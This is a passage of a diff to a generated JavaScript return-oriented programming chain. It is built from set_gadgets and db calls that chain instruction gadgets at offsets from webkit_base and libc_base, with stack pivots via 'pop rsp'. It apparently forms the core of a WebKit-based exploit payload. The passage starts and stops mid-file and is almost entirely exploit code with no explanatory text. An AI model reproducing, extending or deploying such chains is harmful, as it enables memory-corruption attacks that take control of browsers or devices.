rsi +db([8, 0]); // 0x8 set_gadgets([ -webkit_base+6227286, //movsxd rax, edi -libc_base+793877, //pop rsi -ropchain+283592, //L5103 -webkit_base+7438103, //mov [rsi], rax +libc_base+248252, //sub rdi, rsi ; mov rdx, rdi +libc_base+471355, //mov [rdi], rax +libc_base+759626, //mov rax, r8 libc_base+793877, //pop rsi -ropchain+283608, //L5104 +ropchain+285184, //L5075 webkit_base+7438103, //mov [rsi], rax -libc_base+206806 //pop rdi +libc_base+793877 //pop rsi ]); -//L5103: -db([0, 0]); // 0x0 +//L5074: +db([4294967280, 4294967295]); // -0x10 set_gadget(libc_base+788575,); //pop rax -//L5104: +//L5075: db([0, 0]); // 0x0 set_gadgets([ -webkit_base+6227286, //movsxd rax, edi +libc_base+547636, //add rax, rsi +libc_base+793877 //pop rsi +]); +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+283704, //L5106 +ropchain+285264, //L5076 webkit_base+7438103, //mov [rsi], rax -webkit_base+1786005, //mov rax, r11 +libc_base+882884, //mov rax, rcx +libc_base+792472 //pop rcx +]); +//L5076: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+283688, //L5105 +ropchain+285320, //L5078 webkit_base+7438103, //mov [rsi], rax -libc_base+206806 //pop rdi +libc_base+882884, //mov rax, rcx +libc_base+792472 //pop rcx ]); -//L5105: -db([0, 0]); // 0x0 -set_gadget(libc_base+788575,); //pop rax -//L5106: +//L5078: db([0, 0]); // 0x0 -//L5090: -//L5107: +set_gadget(libc_base+793877,); //pop rsi +db([8, 0]); // 0x8 set_gadgets([ +libc_base+248252, //sub rdi, rsi ; mov rdx, rdi +libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+283768, //L5110 +ropchain+285400, //L5080 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi +libc_base+792472 //pop rcx ]); -//L5108: -db([4294967028, 4294967295]); // -0x10c -set_gadget(libc_base+792472,); //pop rcx -//L5110: +//L5080: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L5081: +db([4294967272, 4294967295]); // -0x18 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+283872, //L5113 +ropchain+285520, //L5085 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+283856, //L5112 +ropchain+285504, //L5083 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L5112: +//L5083: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L5113: +//L5085: db([0, 0]); // 0x0 set_gadgets([ -libc_base+191169, //mov eax, [rdi] +libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+284040, //L5116 +ropchain+285680, //L5089 webkit_base+7438103, //mov [rsi], rax +libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+284056, //L5117 +ropchain+285632, //L5087 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+284008, //L5114 -webkit_base+7438103, //mov [rsi], rax -libc_base+50775, //mov rax, rdi -libc_base+793877, //pop rsi -ropchain+284024, //L5115 +ropchain+285664, //L5088 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L5114: +//L5087: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L5115: -db([0, 0]); // 0x0 +//L5086: +db([8, 0]); // 0x8 set_gadget(libc_base+206806,); //pop rdi -//L5116: +//L5088: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L5117: +//L5089: db([0, 0]); // 0x0 set_gadgets([ -webkit_base+6227286, //movsxd rax, edi +webkit_base+1506828, //imul rax, rcx libc_base+793877, //pop rsi -ropchain+284152, //L5119 +ropchain+285752, //L5090 webkit_base+7438103, //mov [rsi], rax -webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+284136, //L5118 +ropchain+285768, //L5091 webkit_base+7438103, //mov [rsi], rax -libc_base+206806 //pop rdi +libc_base+792472 //pop rcx ]); -//L5118: +//L5090: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L5119: +//L5091: db([0, 0]); // 0x0 -set_gadget(libc_base+793877,); //pop rsi -db([8, 0]); // 0x8 +set_gadgets([ +libc_base+191168, //mov rax, [rdi] +libc_base+793877 //pop rsi +]); +db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi -libc_base+471355, //mov [rdi], rax +webkit_base+1838146, //add rax, rcx libc_base+793877, //pop rsi -ropchain+284240, //L5121 +ropchain+285856, //L5092 webkit_base+7438103, //mov [rsi], rax -libc_base+793877 //pop rsi +libc_base+882884, //mov rax, rcx +libc_base+792472 //pop rcx ]); -//L5120: -db([1, 0]); // 0x1 -set_gadget(libc_base+788575,); //pop rax -//L5121: +//L5092: db([0, 0]); // 0x0 set_gadgets([ -libc_base+547636, //add rax, rsi +libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+284312, //L5124 +ropchain+285912, //L5094 webkit_base+7438103, //mov [rsi], rax -libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi +libc_base+882884, //mov rax, rcx +libc_base+792472 //pop rcx ]); -//L5122: -db([4294967028, 4294967295]); // -0x10c -set_gadget(libc_base+792472,); //pop rcx -//L5124: +//L5094: +db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+248252, //sub rdi, rsi ; mov rdx, rdi +libc_base+793877, //pop rsi +ropchain+285984, //L5096 +webkit_base+7438103, //mov [rsi], rax +libc_base+882884, //mov rax, rcx +libc_base+792472 //pop rcx +]); +//L5096: db([0, 0]); // 0x0 set_gadgets([ -libc_base+547636, //add rax, rsi -webkit_base+954100, //mov [rax], ecx +libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+284376, //L5125 +ropchain+286040, //L5098 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L5125: +//L5098: db([0, 0]); // 0x0 set_gadgets([ +webkit_base+2997875, //mov [rax], rcx libc_base+191168, //mov rax, [rdi] libc_base+793877 //pop rsi ]); db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi -libc_base+811575, //pop rsp -ropchain+275632, //L4903 -//L4936: +//L5100: libc_base+793877, //pop rsi -ropchain+284488, //L5129 +ropchain+286128, //L5101 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi +libc_base+792472 //pop rcx ]); -//L5127: -db([16, 0]); // 0x10 -set_gadget(libc_base+792472,); //pop rcx -//L5129: +//L5101: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L5102: +db([4294967272, 4294967295]); // -0x18 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+284592, //L5132 +ropchain+286248, //L5106 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+284576, //L5131 +ropchain+286232, //L5104 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L5131: +//L5104: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L5132: +//L5106: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+284712, //L5134 +ropchain+286392, //L5109 webkit_base+7438103, //mov [rsi], rax +libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+284744, //L5136 +ropchain+286360, //L5107 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+284728, //L5135 +ropchain+286376, //L5108 webkit_base+7438103, //mov [rsi], rax -libc_base+793877 //pop rsi +libc_base+792472 //pop rcx ]); -//L5133: -db([16, 0]); // 0x10 -set_gadget(libc_base+792472,); //pop rcx -//L5134: +//L5107: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L5135: +//L5108: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L5136: +//L5109: +db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+248252, //sub rdi, rsi ; mov rdx, rdi +libc_base+471355, //mov [rdi], rax +libc_base+793877, //pop rsi +ropchain+286480, //L5111 +webkit_base+7438103, //mov [rsi], rax +libc_base+793877 //pop rsi +]); +//L5110: +db([1, 0]); // 0x1 +set_gadget(libc_base+788575,); //pop rax +//L5111: db([0, 0]); // 0x0 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+284848, //L5139 +ropchain+286536, //L5112 webkit_base+7438103, //mov [rsi], rax -libc_base+50775, //mov rax, rdi +libc_base+759626, //mov rax, r8 +libc_base+792472 //pop rcx +]); +//L5112: +db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L5113: +db([4294967272, 4294967295]); // -0x18 +set_gadgets([ +libc_base+547636, //add rax, rsi +webkit_base+2997875, //mov [rax], rcx libc_base+793877, //pop rsi -ropchain+284832, //L5138 +ropchain+286616, //L5115 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L5138: -db([0, 0]); // 0x0 -set_gadget(libc_base+206806,); //pop rdi -//L5139: +//L5115: db([0, 0]); // 0x0 set_gadgets([ -libc_base+191169, //mov eax, [rdi] +libc_base+191168, //mov rax, [rdi] +libc_base+793877 //pop rsi +]); +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+248252, //sub rdi, rsi ; mov rdx, rdi +libc_base+811575, //pop rsp +ropchain+282424, //L5011 +//L5068: +libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+285016, //L5142 +ropchain+286712, //L5117 webkit_base+7438103, //mov [rsi], rax +webkit_base+3750700 //pop r11 ; mov rax, rdi +]); +//L5117: +db([0, 0]); // 0x0 +set_gadget(libc_base+788575,); //pop rax +//L5118: +db([0, 0]); // 0x0 +set_gadget(libc_base+206806,); //pop rdi +//L5119: +db([0, 0]); // 0x0 +set_gadgets([ +webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+285032, //L5143 +ropchain+286848, //L5122 webkit_base+7438103, //mov [rsi], rax -libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+284984, //L5140 +ropchain+286896, //L5124 webkit_base+7438103, //mov [rsi], rax -libc_base+50775, //mov rax, rdi +webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+285000, //L5141 +ropchain+286880, //L5123 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L5140: +//L5122: db([0, 0]); // 0x0 -set_gadget(libc_base+792472,); //pop rcx -//L5141: +set_gadget(libc_base+793877,); //pop rsi +//L5121: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L5142: +//L5123: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L5143: +//L5124: db([0, 0]); // 0x0 set_gadgets([ -webkit_base+6227286, //movsxd rax, edi +webkit_base+11676600, //cmp rax, rsi ; sete al +libc_base+269973, //movzx eax, al +webkit_base+414627, //shl rax, 3 +libc_base+793877, //pop rsi +ropchain+287008, //L5125+8 +libc_base+547636, //add rax, rsi +libc_base+186490, //mov rax, [rax] libc_base+793877, //pop rsi -ropchain+285128, //L5145 +ropchain+287000, //L5125 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 +libc_base+811575 //pop rsp +]); +//L5125: +db([0, 0]); // 0x0 +set_gadgets([ +ropchain+287024, //L5125+24 +ropchain+287040, //L5120 +libc_base+811575, //pop rsp +ropchain+282160, //L5003 +//L5120: +//L5126: +libc_base+759626, //mov rax, r8 libc_base+793877, //pop rsi -ropchain+285112, //L5144 +ropchain+287096, //L5128 webkit_base+7438103, //mov [rsi], rax -libc_base+206806 //pop rdi +libc_base+793877 //pop rsi ]); -//L5144: -db([0, 0]); // 0x0 +//L5127: +db([4294967280, 4294967295]); // -0x10 set_gadget(libc_base+788575,); //pop rax -//L5145: +//L5128: db([0, 0]); // 0x0 -set_gadget(libc_base+793877,); //pop rsi -db([8, 0]); // 0x8 set_gadgets([ -libc_base+248252, //sub rdi, rsi ; mov rdx, rdi -libc_base+471355, //mov [rdi], rax -libc_base+788575, //pop rax -//L5147: -ropchain+285232, //L5146 +libc_base+547636, //add rax, rsi libc_base+793877 //pop rsi ]); db([8, 0]); // 0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi -libc_base+471355, //mov [rdi], rax -libc_base+811575, //pop rsp -ropchain+172888, //_get_tclass -//L5146: +libc_base+793877, //pop rsi +ropchain+287176, //L5129 +webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx -libc_base+793877 //pop rsi +libc_base+792472 //pop rcx ]); -db([4294967288, 4294967295]); // -0x8 +//L5129: +db([0, 0]); // 0x0 set_gadgets([ -libc_base+248252, //sub rdi, rsi ; mov rdx, rdi -libc_base+793877, //pop rsi -ropchain+285368, //L5149 -webkit_base+7438103, //mov [rsi], rax -libc_base+793877, //pop rsi -ropchain+285384, //L5150 -webkit_base+7438103, //mov [rsi], rax -libc_base+50775, //mov rax, rdi +libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+285352, //L5148 +ropchain+287232, //L5131 webkit_base+7438103, //mov [rsi], rax -webkit_base+3750700 //pop r11 ; mov rax, rdi +libc_base+882884, //mov rax, rcx +libc_base+792472 //pop rcx ]); -//L5148: -db([0, 0]); // 0x0 -set_gadget(libc_base+206806,); //pop rdi -//L5149: -db([0, 0]); // 0x0 -set_gadget(libc_base+788575,); //pop rax -//L5150: +//L5131: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +db([8, 0]); // 0x8 set_gadgets([ -webkit_base+6227286, //movsxd rax, edi -libc_base+793877, //pop rsi -ropchain+285488, //L5153 -webkit_base+7438103, //mov [rsi], rax -webkit_base+1786005, //mov rax, r11 +libc_base+248252, //sub rdi, rsi ; mov rdx, rdi +libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+285504, //L5154 +ropchain+287312, //L5133 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi +libc_base+792472 //pop rcx ]); -//L5151: -db([4294967032, 4294967295]); // -0x108 -set_gadget(libc_base+792472,); //pop rcx -//L5153: -db([0, 0]); // 0x0 -set_gadget(libc_base+206806,); //pop rdi -//L5154: +//L5133: db([0, 0]); // 0x0 -set_gadgets([ -libc_base+547636, //add rax, rsi -webkit_base+954100, //mov [rax], ecx -libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi -]); -//L5155: -db([4294967032, 4294967295]); // -0x108 +set_gadget(libc_base+793877,); //pop rsi +//L5134: +db([16, 0]); // 0x10 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+285648, //L5159 +ropchain+287432, //L5138 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+285632, //L5158 +ropchain+287416, //L5136 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L5158: +//L5136: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L5159: +//L5138: db([0, 0]); // 0x0 set_gadgets([ libc_base+191169, //mov eax, [rdi] libc_base+793877, //pop rsi -ropchain+285816, //L5162 +ropchain+287600, //L5141 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+285832, //L5163 +ropchain+287616, //L5142 webkit_base+7438103, //mov [rsi], rax -libc_base+882884, //mov rax, rcx +libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+285784, //L5160 +ropchain+287584, //L5139 webkit_base+7438103, //mov [rsi], rax -libc_base+50775, //mov rax, rdi +libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+285800, //L5161 +ropchain+287568, //L5140 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L5160: +//L5140: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L5161: +//L5139: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L5162: +//L5141: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L5163: +//L5142: db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+285904, //L5164 +ropchain+287688, //L5143 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+285920, //L5165 +ropchain+287704, //L5144 webkit_base+7438103, //mov [rsi], rax libc_base+206806 //pop rdi ]); -//L5164: +//L5143: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L5165: +//L5144: db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+286016, //L5167 +ropchain+287800, //L5146 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+286000, //L5166 +ropchain+287784, //L5145 webkit_base+7438103, //mov [rsi], rax libc_base+206806 //pop rdi ]); -//L5166: +//L5145: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L5167: +//L5146: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax -libc_base+882884, //mov rax, rcx -libc_base+792472 //pop rcx -]); -//L5168: -db([4294901760, 4294967295]); // -0x10000 -set_gadgets([ -libc_base+191168, //mov rax, [rdi] -libc_base+793877, //pop rsi -ropchain+286128, //L5171 -webkit_base+7438103, //mov [rsi], rax -libc_base+882884, //mov rax, rcx -libc_base+792472 //pop rcx +libc_base+788575 //pop rax ]); -//L5171: -db([0, 0]); // 0x0 +//L5147: +db([8, 0]); // 0x8 set_gadget(libc_base+793877,); //pop rsi -db([4294967288, 4294967295]); // -0x8 +db([8, 0]); // 0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi -webkit_base+5202439, //and rax, rcx -libc_base+793877, //pop rsi -ropchain+286264, //L5174 -webkit_base+7438103, //mov [rsi], rax -libc_base+882884, //mov rax, rcx +libc_base+471355, //mov [rdi], rax +libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+286232, //L5172 +ropchain+287928, //L5148 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L5172: +//L5148: db([0, 0]); // 0x0 -set_gadget(libc_base+792472,); //pop rcx -//L5173: -db([32, 0]); // 0x20 set_gadget(libc_base+788575,); //pop rax -//L5174: -db([0, 0]); // 0x0 +//L5149: +db([8, 0]); // 0x8 +set_gadget(libc_base+206806,); //pop rdi +//L5150: +db([8, 0]); // 0x8 set_gadgets([ -libc_base+877546, //shl rax, cl -libc_base+877568, //shr rax, cl +webkit_base+6227286, //movsxd rax, edi +libc_base+793877, //pop rsi +ropchain+288064, //L5151 +webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+286368, //L5176 +ropchain+288096, //L5153 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+286352, //L5175 +ropchain+288080, //L5152 webkit_base+7438103, //mov [rsi], rax libc_base+792472 //pop rcx ]); -//L5175: +//L5151: +db([0, 0]); // 0x0 +set_gadget(libc_base+206806,); //pop rdi +//L5152: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L5176: +//L5153: db([0, 0]); // 0x0 -set_gadget(libc_base+793877,); //pop rsi -db([8, 0]); // 0x8 set_gadgets([ -libc_base+248252, //sub rdi, rsi ; mov rdx, rdi -libc_base+471355, //mov [rdi], rax -libc_base+793877, //pop rsi -ropchain+286464, //L5179 -webkit_base+7438103, //mov [rsi], rax -libc_base+759626, //mov rax, r8 +libc_base+191168, //mov rax, [rdi] libc_base+793877 //pop rsi ]); -//L5177: -db([32, 0]); // 0x20 -set_gadget(libc_base+792472,); //pop rcx -//L5179: -db([0, 0]); // 0x0 +db([4294967288, 4294967295]); // -0x8 set_gadgets([ -libc_base+547636, //add rax, rsi +libc_base+248252, //sub rdi, rsi ; mov rdx, rdi +webkit_base+1506828, //imul rax, rcx libc_base+793877, //pop rsi -ropchain+286568, //L5182 +ropchain+288200, //L5154 webkit_base+7438103, //mov [rsi], rax -libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+286552, //L5181 +ropchain+288216, //L5155 webkit_base+7438103, //mov [rsi], rax -libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L5181: +//L5154: db([0, 0]); // 0x0 -set_gadget(libc_base+206806,); //pop rdi -//L5182: +set_gadget(libc_base+788575,); //pop rax +//L5155: db([0, 0]); // 0x0 set_gadgets([ -libc_base+191169, //mov eax, [rdi] -libc_base+793877, //pop rsi -ropchain+286736, //L5185 -webkit_base+7438103, //mov [rsi], rax -libc_base+793877, //pop rsi -ropchain+286752, //L5186 -webkit_base+7438103, //mov [rsi], rax -libc_base+882884, //mov rax, rcx -libc_base+793877, //pop rsi -ropchain+286704, //L5183 -webkit_base+7438103, //mov [rsi], rax -libc_base+50775, //mov rax, rdi -libc_base+793877, //pop rsi -ropchain+286720, //L5184 -webkit_base+7438103, //mov [rsi], rax -webkit_base+3750700 //pop r11 ; mov rax, rdi +libc_base+191168, //mov rax, [rdi] +libc_base+793877 //pop rsi ]); -//L5183: -db([0, 0]); // 0x0 -set_gadget(libc_base+792472,); //pop rcx -//L5184: -db([0, 0]); // 0x0 -set_gadget(libc_base+206806,); //pop rdi -//L5185: -db([0, 0]); // 0x0 -set_gadget(libc_base+788575,); //pop rax -//L5186: -db([0, 0]); // 0x0 +db([4294967288, 4294967295]); // -0x8 set_gadgets([ -webkit_base+6227286, //movsxd rax, edi +libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+286824, //L5187 +ropchain+288384, //L5158 webkit_base+7438103, //mov [rsi], rax +libc_base+272260, //mov rax, rsi libc_base+793877, //pop rsi -ropchain+286840, //L5188 +ropchain+288352, //L5156 webkit_base+7438103, //mov [rsi], rax -libc_base+206806 //pop rdi +libc_base+882884, //mov rax, rcx +libc_base+793877, //pop rsi +ropchain+288368, //L5157 +webkit_base+7438103, //mov [rsi], rax +libc_base+792472 //pop rcx ]); -//L5187: +//L5156: +db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L5157: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L5188: +//L5158: +db([0, 0]); // 0x0 +set_gadget(webkit_base+105267,); //pop rdx db([0, 0]); // 0x0 set_gadgets([ -webkit_base+6227286, //movsxd rax, edi +webkit_base+7047212, //div rsi ; add rax, rcx +libc_base+877175, //sub rax, rcx ; sbb rdx, rcx libc_base+793877, //pop rsi -ropchain+287000, //L5192 +ropchain+288568, //L5162 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+286952, //L5189 +ropchain+288552, //L5160 webkit_base+7438103, //mov [rsi], rax -webkit_base+1786005, //mov rax, r11 +libc_base+272260, //mov rax, rsi libc_base+793877, //pop rsi -ropchain+286984, //L5191 +ropchain+288520, //L5161 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L5189: +//L5161: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L5190: -db([32, 0]); // 0x20 -set_gadget(libc_base+206806,); //pop rdi -//L5191: +//L5159: +db([8, 0]); // 0x8 +set_gadget(libc_base+793877,); //pop rsi +//L5160: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L5192: +//L5162: db([0, 0]); // 0x0 set_gadgets([ -libc_base+877546, //shl rax, cl -libc_base+877568, //shr rax, cl +webkit_base+1506828, //imul rax, rcx libc_base+793877, //pop rsi -ropchain+287080, //L5193 +ropchain+288640, //L5163 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+287096, //L5194 +ropchain+288656, //L5164 webkit_base+7438103, //mov [rsi], rax libc_base+792472 //pop rcx ]); -//L5193: +//L5163: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L5194: +//L5164: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] @@ -37698,235 +37786,249 @@ libc_base+793877 //pop rsi db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi -webkit_base+14959219, //cmp rax, rcx ; sete al -libc_base+269973, //movzx eax, al +webkit_base+1838146, //add rax, rcx +libc_base+793877, //pop rsi +ropchain+288744, //L5165 +webkit_base+7438103, //mov [rsi], rax +libc_base+882884, //mov rax, rcx +libc_base+792472 //pop rcx +]); +//L5165: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+191168, //mov rax, [rdi] +libc_base+793877, //pop rsi +ropchain+288800, //L5167 +webkit_base+7438103, //mov [rsi], rax +libc_base+882884, //mov rax, rcx +libc_base+792472 //pop rcx +]); +//L5167: +db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+287256, //L5196 +ropchain+288936, //L5170 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+287272, //L5197 +ropchain+288952, //L5171 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+287240, //L5195 +ropchain+288920, //L5169 webkit_base+7438103, //mov [rsi], rax -webkit_base+3750700 //pop r11 ; mov rax, rdi +libc_base+792472 //pop rcx ]); -//L5195: +//L5169: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L5196: +//L5170: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L5197: +//L5171: db([0, 0]); // 0x0 set_gadgets([ -webkit_base+6227286, //movsxd rax, edi +libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+287376, //L5200 +ropchain+289096, //L5174 webkit_base+7438103, //mov [rsi], rax +libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+287424, //L5202 +ropchain+289064, //L5172 webkit_base+7438103, //mov [rsi], rax -webkit_base+1786005, //mov rax, r11 +libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+287408, //L5201 +ropchain+289080, //L5173 webkit_base+7438103, //mov [rsi], rax -webkit_base+3750700 //pop r11 ; mov rax, rdi +libc_base+792472 //pop rcx ]); -//L5200: -db([0, 0]); // 0x0 -set_gadget(libc_base+793877,); //pop rsi -//L5199: +//L5172: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L5201: +//L5173: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L5202: +//L5174: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +db([8, 0]); // 0x8 set_gadgets([ -webkit_base+11676600, //cmp rax, rsi ; sete al -libc_base+269973, //movzx eax, al -webkit_base+414627, //shl rax, 3 -libc_base+793877, //pop rsi -ropchain+287536, //L5203+8 -libc_base+547636, //add rax, rsi -libc_base+186490, //mov rax, [rax] +libc_base+248252, //sub rdi, rsi ; mov rdx, rdi +libc_base+471355, //mov [rdi], rax +libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+287528, //L5203 +ropchain+289176, //L5175 webkit_base+7438103, //mov [rsi], rax -webkit_base+1786005, //mov rax, r11 -libc_base+811575 //pop rsp -]); -//L5203: -db([0, 0]); // 0x0 -set_gadgets([ -ropchain+287552, //L5203+24 -ropchain+287568, //L5198 -libc_base+811575, //pop rsp -ropchain+292896, //L5204 -//L5198: -libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi +webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L5205: -db([4294967024, 4294967295]); // -0x110 -set_gadget(libc_base+792472,); //pop rcx -//L5207: +//L5175: db([0, 0]); // 0x0 +set_gadget(libc_base+788575,); //pop rax +//L5176: +db([1, 0]); // 0x1 +set_gadget(libc_base+206806,); //pop rdi +//L5177: +db([1, 0]); // 0x1 set_gadgets([ -libc_base+547636, //add rax, rsi +webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+287664, //L5209 +ropchain+289304, //L5179 webkit_base+7438103, //mov [rsi], rax -libc_base+792472 //pop rcx -]); -//L5208: -db([0, 0]); // 0x0 -set_gadget(libc_base+788575,); //pop rax -//L5209: -db([0, 0]); // 0x0 -set_gadgets([ 